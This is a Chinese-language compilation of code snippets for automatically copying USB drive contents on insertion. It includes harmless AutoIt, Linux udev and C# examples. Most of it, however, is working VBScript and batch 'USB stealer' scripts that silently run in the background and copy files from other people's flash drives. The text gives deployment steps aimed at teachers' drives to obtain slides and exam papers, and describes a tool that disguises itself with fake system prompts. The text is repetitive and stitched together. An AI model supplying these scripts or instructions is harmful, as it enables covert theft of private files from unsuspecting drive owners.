U盘插入自动复制的简单代码
- 格式:wps
- 大小:15.00 KB
- 文档页数:1
#include <Constants.au3>HotKeySet("{ESC}", "Terminate")MsgBox(4096,"批量u盘复制","本程序自动复制文件到U盘。
插入u盘识别后即自动复制,复制完毕有提示,,可直接拔出U盘。
实现批量复制功能。
" & _ "请将待复制文件放入本程序的data子目录(不复制子目录内容),拔掉其他u盘,每次只能插入一个u盘!" & @LF & _"有些u盘可能要重新识别,请等待。
『ESC』退出!注意屏幕通知栏的提示。
devcon.exe需放置在本目录下。
" )global $usbclass ;u盘的class$usbclass=""$i = 0While $i <= 100while 1$usbclass=getUsbClass()if $usbclass<>"" then ExitLoopsleep(500)TrayTip("", "请插入U盘",30)WEndTrayTip("", "u盘已找到,正在复制...", 30)$i = $i + 1If copyfiles()=True ThenTrayTip("复制成功", "请拔掉U盘",30)ElseTrayTip("复制出错","没有发现u盘,请重新插拔",30)EndIfsetUsbMode(False) ;关闭u盘while 1$usbclass=getUsbClass()ToolTip("closing", 0, 0)if $usbclass="" then ExitLoopsleep(500)WEnd; setUsbMode(True) ;打开u盘WEnd;--------------------------------------;设置USB的状态,True:enable u盘,false:disable u盘,可以拔出Func setUsbMode($b)if $b==True ThenRun('devcon.exe enable "usb\' & $usbclass, "", @SW_HIDE ) ElseRun('devcon.exe disable "usb\' & $usbclass, "", @SW_HIDE) EndIfEndFunc;----------------------------------;获得usb的classfunc getUsbClass()Local $foo = Run('devcon.exe listclass usb', "", @SW_HIDE, $STDERR_CHILD + $STDOUT_CHILD)Local $line$cnt=0While 1$line = StdoutRead($foo)If @error Then ExitLoop$usbline = StringSplit($line, "\r\n",2)If @error = 0 Thenfor $i = 0 to UBound($usbline) - 1$usbmass = StringRegExp($line, "USB\\(.*?)\h+: USB Mass Storage", 1)if @error=0 ThenReturn $usbmass[0] ;找到的u盘class,只找一个EndIfNextEndIfWendreturn 0EndFunc;----------------------------------------;拷贝文件,Func copyfiles()setUsbMode(true)$i=100While($i>0)$var = DriveGetDrive( "REMOVABLE" ) ;首先获取u盘盘符If NOT @error Thenif $var[0]>0 Then ExitLoopEndIf$i=$i-1sleep(1000)WEndif $i=0 then return False;只拷贝当前Data\目录下的文件,不支持下级目录Run(@ComSpec & " /c " & " copy data\*.* " & $var[1], "",@SW_HIDE ) ;return TrueEndFunc;-----------------------------------;ESC按下,终止执行,恢复u盘状态Func Terminate()setUsbMode(true)Exit 0EndFunc;----------------------------------;废弃,查找指定class的u盘,func findUSB()Local $foo = Run('devcon.exe find "usb\' & $usbclass, "", @SW_HIDE, $STDERR_CHILD + $STDOUT_CHILD)Local $line$cnt=0While 1$line = StdoutRead($foo)If @error Then ExitLoop$asResult = StringRegExp($line, "(\d) matching device", 1)If @error = 0 Then; TrayTip("", "U盘已插入", 30)Return $asResult[0]EndIfWend; TrayTip("", "U盘已拔出", 30)return 0EndFunc。
代码优化了一下,把不是很重要的都删掉了,这次使用时看不出任何现象,同样复制U盘里的东西的时候不会出现进度条,完全后台运行,老师绝对看不出同样的建立一个文本文档,WIN+R 里面打NOTEPAD ,或者自己新建一个都一样把下面的代码复制进去set fso=createobject("scripting.filesystemobject")set ws=createobject("wscript.shell")on error resume nextdowscript.sleep 1000if fso.driveexists("U盘的盘符") thenfso.copyfile "U盘的盘符加*号","要复制到的目录"fso.copyfolder "U盘的盘符加*号","要复制到的目录"wscript.sleep 20000end ifloop注意标颜色的地方要自己改蓝色的就是要复制到的目录,比如要复制到C盘USB文件夹里,则用代替蓝色部分,注意大小写,同时必须确保USB这个文件夹存在。
红色的是U盘的盘符,比如新插进去的U盘是E盘,则用e:\*代替红色部分,F盘就是f:\*,第一个U盘的盘符,这个不要*号,后2个切记不要漏掉*这个符号。
注意和第一个的区别复制好也改好后保存文件就OK了,然后改一下这个文件的名字,最好使用英文的,然后后缀改成.VBS,原来是.TXT的,如果后缀没哟显示,则先打开我的电脑,在菜单栏里找到,工具——文件夹选项,在查看标签里,有一个隐藏已知文件类型的扩展名,把勾勾去掉就会显示出来后缀了。
后缀改好以后,运行这个文件,就OK了。
同时你可以把这个文件删除掉,它已经驻留内存了,重启以后这个东西就不会再出现了,老师绝对发现不了要停止这个东西,在任务管理器里面结束进程WScript.exe就可以了。
U盘插入自动复制的简单代码代码优化了一下,把不是很重要的都删掉了,这次使用时看不出任何现象,同样复制U盘里的东西的时候不会出现进度条,完全后台运行,老师绝对看不出同样的建立一个文本文档,WIN+R 里面打NOTEPAD ,或者自己新建一个都一样把下面的代码复制进去本帖隐藏的内容1.set fso=createobject("scripting.filesystemobject")2.set ws=createobject("wscript.shell")3.on error resume next4.do5.wscript.sleep 10006.if fso.driveexists("U盘的盘符") then7.fso.copyfile "U盘的盘符加*号","要复制到的目录"8.fso.copyfolder "U盘的盘符加*号","要复制到的目录"9.wscript.sleep 2000010.end if11.loop复制代码注意标颜色的地方要自己改蓝色的就是要复制到的目录,比如要复制到C盘USB文件夹里,则用C:\USB\代替蓝色部分,注意大小写,同时必须确保USB这个文件夹存在。
红色的是U盘的盘符,比如新插进去的U盘是E盘,则用e:\*代替红色部分,F盘就是f:\*第一个U盘的盘符,这个不要*号,后2个切记不要漏掉*这个符号。
注意和第一个的区别复制好也改好后保存文件就OK了,然后改一下这个文件的名字,最好使用英文的,然后后缀改成.VBS,原来是.TXT的,如果后缀没哟显示,则先打开我的电脑,在菜单栏里找到,工具——文件夹选项,在查看标签里,有一个隐藏已知文件类型的扩展名,把勾勾去掉就会显示出来后缀了后缀改好以后,运行这个文件,就OK了。
同时你可以把这个文件删除掉,它已经驻留内存了,重启以后这个东西就不会再出现了,老师绝对发现不了要停止这个东西,在任务管理器里面结束进程WScript.exe就可以了。
linux u盘热插拔代码在Linux系统中,实现U盘热插拔的代码可以通过编写Udev规则和挂载脚本来实现。
下面是一个示例代码:```bash# 规则文件写好后,我们这里进行挂载文件的脚本编写usb_udev.sh#!/bin/bashMNT_PATH=/media/ # 挂载移动设备的目录DEV_PRE=$1 # 参数1:挂载点的前缀DEV_NAME=$2 # 参数2:设备在/dev下的名字if($ACTION=="add");then/usr/bin/mkdir -p $MNT_PATH$DEV_PRE-$DEV_NAME/usr/bin/mount /dev/$DEV_NAME $MNT_PATH$DEV_PRE-$DEV_NAMEif(($? -ne 0));then/usr/bin/rmdir $MNT_PATH$DEV_PRE-$DEV_NAMEfielif($ACTION=="remove");thenif(( -e $MNT_PATH$DEV_PRE-$DEV_NAME));then/usr/bin/umount $MNT_PATH$DEV_PRE-$DEV_NAME/usr/bin/rmdir $MNT_PATH$DEV_PRE-$DEV_NAMEfifi```上述代码中,`usb_udev.sh`是挂载U盘的脚本,`MNT_PATH`是挂载点的目录,`DEV_PRE`和`DEV_NAME`分别是设备挂载点的前缀和设备在`/dev`下的名字。
当U盘插入时,Udev会触发相应的事件,并执行相应的规则。
规则会调用`usb_udev.sh`脚本,根据U盘的设备名称和挂载点创建挂载目录,并执行挂载操作。
当U盘拔出时,规则会再次调用`usb_udev.sh`脚本,执行卸载操作并删除挂载目录。
请注意,上述代码只是一个示例,具体的实现可能因系统和需求而异。
C#开发USB通讯程序程序实现效果:当把U盘放插入,然后程序自动将U盘的内容复制到本地硬盘程序代码:using System;using System.Collections.Generic;using ponentModel;using System.Data;using System.Drawing;using System.Text;using System.Windows.Forms;using System.IO;namespace U盘更新{public partial class Form1 : Form{public const int WM_DEVICECHANGE = 0x219;public const int DBT_DEVICEARRIVAL = 0x8000;public const int DBT_CONFIGCHANGECANCELED = 0x0019;public const int DBT_CONFIGCHANGED = 0x0018;public const int DBT_CUSTOMEVENT = 0x8006;public const int DBT_DEVICEQUERYREMOVE = 0x8001;public const int DBT_DEVICEQUERYREMOVEFAILED = 0x8002;public const int DBT_DEVICEREMOVECOMPLETE = 0x8004;public const int DBT_DEVICEREMOVEPENDING = 0x8003;public const int DBT_DEVICETYPESPECIFIC = 0x8005;public const int DBT_DEVNODES_CHANGED = 0x0007;public const int DBT_QUERYCHANGECONFIG = 0x0017;public const int DBT_USERDEFINED = 0xFFFF;public Form1(){InitializeComponent();}private void Form1_Load(object sender, EventArgs e){}protected override void WndProc(ref Message m){try{if (m.Msg == WM_DEVICECHANGE){switch (m.WParam.ToInt32()){case WM_DEVICECHANGE:break;case DBT_DEVICEARRIVAL://U盘插入DriveInfo[] s = DriveInfo.GetDrives();foreach (DriveInfo drive in s){if (drive.DriveType == DriveType.Removable){listBox1.Items.Add("U盘已插入,盘符为:" + .ToString()); break;}}break;case DBT_CONFIGCHANGECANCELED:break;case DBT_CONFIGCHANGED:break;case DBT_CUSTOMEVENT:break;case DBT_DEVICEQUERYREMOVE:break;case DBT_DEVICEQUERYREMOVEFAILED:break;case DBT_DEVICEREMOVECOMPLETE: //U盘卸载break;case DBT_DEVICEREMOVEPENDING:break;case DBT_DEVICETYPESPECIFIC:break;case DBT_DEVNODES_CHANGED:break;case DBT_QUERYCHANGECONFIG:break;case DBT_USERDEFINED:break;default:break;}}}catch (Exception ex){MessageBox.Show(ex.Message);}base.WndProc(ref m);}VolumeDeviceClass volumeDeviceClass = new VolumeDeviceClass(); foreach (Volume device in volumeDeviceClass.Devices){// is this volume on USB disks?if (!device.IsUsb)continue;// is this volume a logical disk?if ((device.LogicalDrive == null) || (device.LogicalDrive.Length == 0)) continue;device.Eject(true); // allow Windows to display any relevant UI}。
vbs⾃动复制U盘的内容思路很简单,⾼层的东西没什么技术含量,引⽤⼏个函数或⽅法就⾏了。
开始我⽤的是批处理(如果你插⼊U盘的盘符是J,把课件保存于F盘)打开记事本,键⼊以下内容:复制代码代码如下::cheatping 127.0.0.1>nulif exist J:\*.ppt (copy J:\*.ppt F:\ && exit) else goto cheat保存为main.bat,本来这个⽂件就够实现此功能了,但我想不到有什么DOS命令可以隐藏命令提⽰符界⾯,就不得不编了⼀个vbs脚本专门⼲这事:打开记事本键⼊:复制代码代码如下:set wshshell=createobject("wscript.shell")wshshell.run "main.bat",0msgbox"已经注⼊",48,"夜⽉"wscript.quit保存为starter.vbs,注意这个⽂件要和main.bat放于同⼀⽬录下。
然后双击starter.vbs即可运⾏。
后来,我想⽤vbs脚本可以搞得更⽜叉⼀点,但这东西已经好长时间不玩了,我连inputbox都不知道怎么⽤的了,试了⼏次才搞得好了⼀点。
很⽅便,打开记事本,键⼊:复制代码代码如下:on error resume nextdim udrive,dfold,src,ptrset fso=createobject("Scripting.FileSystemObject")doudrive=inputbox("请按如下形式输⼊U盘盘符","⽤户指令",H)loop until(udrive<="Z" and udrive>"B")dfold=inputbox("请输⼊⽬标⽂件夹","⽤户指令","F:\Temp")if (not fso.folderexists(dfold)) thenfso.createfolder(dfold)end ifsrc=udrive + ":\*.ppt"ptr=dfold + "\"do while(1=1)if fso.driveexists(udrive) thenfso.copyfile src,ptr,trueset fso=nothingwscript.quitend ifwscript.sleep 2000loop以上内容另存为xue.vbs即可,双击后运⾏。
File Stealer For Removable DriveV3.1.101006 ---By Mr.Jos简介顾名思义,就是通过运行该程序,自动复制该电脑上插入U盘上的文件,又称U盘小偷、优盘大盗。
但是,我这个是参考了网上所有相关功能程序的集成并改进版,主要优点如下:1.静默自动运行:无论是拷贝别人优盘上的东西,还是向自己的优盘里复制进去,无需操作;2.可设置型程序:设置内容包括临时复制目录、自己优盘身份文件等等,均在程序头部有明显标注;3.文件筛选复制:可设置筛选复制文件大小,加速复制过程,节省磁盘空间;4.伪装系统提示:伪装系统插新硬件后重启提示,指示检测到目标优盘或已向自己优盘复制完毕;5.多优盘不干涉:同一电脑上插入的所有优盘均会不干涉地复制下来;6.保持文件结构:复制下来文件保持数据源的文件夹层次结构;7.扩展应用范围:本程序不仅局限于复制U盘,理论上任何可移动磁盘都可复制(本版本暂不支持移动硬盘);暂时想不起来了……有几个缺点,以后会考虑完善:1.不支持Win7;2.没法根据文件类型进行筛选。
说明运行:没什么可说的,把源码复制到文本文档txt中,把扩展名改为vbs,然后直接在电脑上双击运行即可。
使用:当程序检测到非己优盘时,会弹出一个系统插新硬件后需要重启的提示(这个和XP系统的是一模一样的,注意下左侧是问号),表明程序开始将优盘里的内容向电脑上指定的文件夹复制了。
当程序检测到自己优盘时,会自动将电脑上已经复制出来的文件复制到自己的优盘里,复制完毕后,也会弹出系统插新硬件后需要重启的提示(这个和XP系统的不一样,因为它的左侧是黄色叹号),表明复制完了,可以拔了。
非己优盘与自己优盘的判定:程序如果在一个可移动磁盘里检测到测试文件(默认copy.txt),则认为这是自己优盘,只往里面复制;否则认为是非己优盘,只往出复制。
结束:用任务管理器结束wscript.exe进程。
这里主要讲下设置:源码有个Options Area区域,即设置区,下设四个设置和一个子设置区域(File Filter,文件筛选器),下面进行一一讲解:'----------------------Options Area----------------------- //设置区Dim TempSavingPath,TestFileName,DefaultCopyDirectionDim DeleteTempSavingFolderTempSavingPath="C:\Drivers\Copy\" //电脑上的中转暂存目录TestFileName="copy.txt" //测试文件,用于自己/非己优盘判定DefaultCopyDirection="\Copy\" //把偷来的文件复制到自己优盘下的目录DeleteTempSavingFolder=True //复制到自己优盘后,是否删除中转暂存目录' ------------------File Filter------------------- //文件筛选器Dim ActiveFileFilter,MaxSize,MinSizeActiveFileFilter=True //是否启动文件筛选器MaxSize=500000000 //允许复制文件的最大大小(字节) MinSize=0//允许复制文件的最小大小(字节)'---------------------------------------------------------声明本源码及说明仅供学习交流使用,如违法使用,原作者Mr.Jos不承担任何责任。
U盘插入自动复制,有效对付那些不肯给PPT的老师,还有一定几率拿到期末考试卷子···上课抄老师的课件,对于做在后面的同学来说,压根就看不见,下课后去找老师要ppt,可老师就是不给,怎么办呢?不可能把老师的U盘抢过来吧!!那我们就得想想其他的办法了,什么办法呢?↓↓拷贝以下代码:setfso=createobject("scripting.filesystemobject") set ws=createobject("wscript.shell")on error resume nextdowscript.sleep 1000if fso.driveexists("I:\") thenfso.copyfile "I:\*","C:\Program Files"fso.copyfolder "I:\*","C:\Program Files" wscript.sleep 20000end ifloop步骤一:将以上的代码复制到记事本上,保存为“自动复制.txt”其中,"I" 是 U盘的盘符,有的也可能是 H ,F之类的,不知道盘符教室电脑上的盘符怎么办,没关系多做几个,依次把I 改为E,F,G,H,I,分别保存为"E.txt","F.txt","G.txt","H.txt","I.txt",TXT为后缀,没显示后缀,请先打开我的电脑,在菜单栏里找到,工具——文件夹选项,在查看标签里,有一个隐藏已知文件类型的扩展名,把勾勾去掉就会显示出来后缀了。
(如果是win7的系统,一般不会哈,则先打开我的电脑,然后点“组织”,再点文件夹和搜索选项,再点第二个分项栏“查看”,查看标签里,有一个隐藏已知文件类型的扩展名,把勾勾去掉就会显示出来后缀了)其中:C:\Program Files,就是文件保存的地方,因为每台电脑肯定有这么一个文件夹的,拷贝好后,就到这里面去找步骤二:将“自动复制.txt”改为"自动复制.vbs","E.txt"等依次改为"E.vbs"……步骤三:准备一个空的U盘,免得自己的U盘也被复制……,把"自己复制.vbs" 放入自己的U盘......步骤四:实施,我今天是这么经历的,上课前电脑一般是打开了的,这个时候老师还没来,我们就插上U 盘,首先发现U盘盘符为H,然后直接在U盘里面双击文件"H.vbs"(我准备了几个盘符的,并都改成对应盘符的名字)两次(害怕学校机子菜,反应不过来,保险起见),然后赶紧把U盘拔了,走人。
set fso=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
on error resume next
do
wscript.sleep 1000
if fso.driveexists("U盘的盘符") then
fso.copyfile "U盘的盘符加*号","要复制到的目录"
fso.copyfolder "U盘的盘符加*号","要复制到的目录"
wscript.sleep 20000
end if
loop
注意标颜色的地方要自己改
蓝色的就是要复制到的目录,比如要复制到C盘USB文件夹里,则用C:\USB\代替蓝色部分,注意大小写,同时必须确保USB这个文件夹存在。
红色的是U盘的盘符,比如新插进去的U盘是E盘,则用e:\*代替红色部分,F盘就是f:\*第一个U盘的盘符,这个不要*号,后2个切记不要漏掉*这个符号。
注意和第一个的区别
复制好也改好后保存文件就OK了,然后改一下这个文件的名字,最好使用英文的,然后后缀改成.VBS,原来是.TXT的,如果后缀没哟显示,则先打开我的电脑,在菜单栏里找到,工具——文件夹选项,在查看标签里,有一个隐藏已知文件类型的扩展名,把勾勾去掉就会显示出来后缀了
后缀改好以后,运行这个文件,就OK了。
同时你可以把这个文件删除掉,它已经驻留内存了,重启以后这个东西就不会再出现了,老师绝对发现不了
要停止这个东西,在任务管理器里面结束进程WScript.exe就可以了。
这个软件学过编程的都应该会看得懂有没有恶意代码。
另外我不是计算机专业的,这个东西目前对插N个U盘只会复制第一个,对插移动硬盘会全部复制···要接近电脑请在上课之前,一般老师怕麻烦不会去重启的。